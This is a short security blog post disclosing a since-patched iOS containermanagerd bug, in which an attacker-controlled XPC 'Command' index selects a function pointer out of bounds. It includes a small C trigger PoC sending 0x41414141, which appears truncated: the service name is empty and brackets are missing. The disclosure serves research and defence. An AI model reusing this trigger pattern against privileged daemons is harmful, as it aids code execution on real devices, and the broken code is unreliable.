Today I remembered about a iOS bug I had in containermanagerd, and I tought to check if it still was present in iOS 10 beta.

Preliminary informations

containermanagerd is a privileged daemon on iOS that manages application containers and stuff.

XPC is a OS X/iOS IPC higher level mechanism compared to mach messages or MIG…

You may want to also check some research on XPC, such as Pangu presentations, and Ian Beer Project Zero bugs, PoCs and presentation.

Brief Explanation

If you want to follow along, you can also do it thanks to the “Apple leak” on iOS 10, where they forgot to encrypt a bunch of stuff in the ipsw of several models, including the root filesystem (so you can get the containermanagerd binary and drop it in IDA Pro) and kernelcache.

As you can imagine since I’m writing this post, the bug has been fixed in iOS 10.

The post will be fairly short, just dropping the trigger PoC.

The bug is fairly simple, we control a index used with an “array of commands”, in which a command is a string and a function pointer (huh?), so we can make the program grab a “command” from a wrong location, possibly executing arbitrary code.

If you want to see more details about the bug, just drop a unpatched version of containermanagerd in IDA.

Vulnerable Code

containermanagerd patched

The red box is the new added check in iOS 10 on the array index, which comes from the input with xpc_dictionary_get_uint64 with “Command” key (wrongly shown in IDA decompilation).

Later after this index is used to access the array I mentioned.

This is how the code looks like in iOS 9.2 containermanagerd

containermanagerd vuln


#include "xpc/xpc.h"
#include <CoreFoundation/CoreFoundation.h>

int main(int argc, char **argv, char **envp) {
    xpc_connection_t client = xpc_connection_create_mach_service("",
    xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
        //connection err handler
    xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);

    xpc_dictionary_set_uint64(message, "Command", 0x41414141);
    xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, message);

    NSLog(@"reply %@", reply);

    return 0;

Take aways:

  • All input that comes via IPC should be treated as untrusted.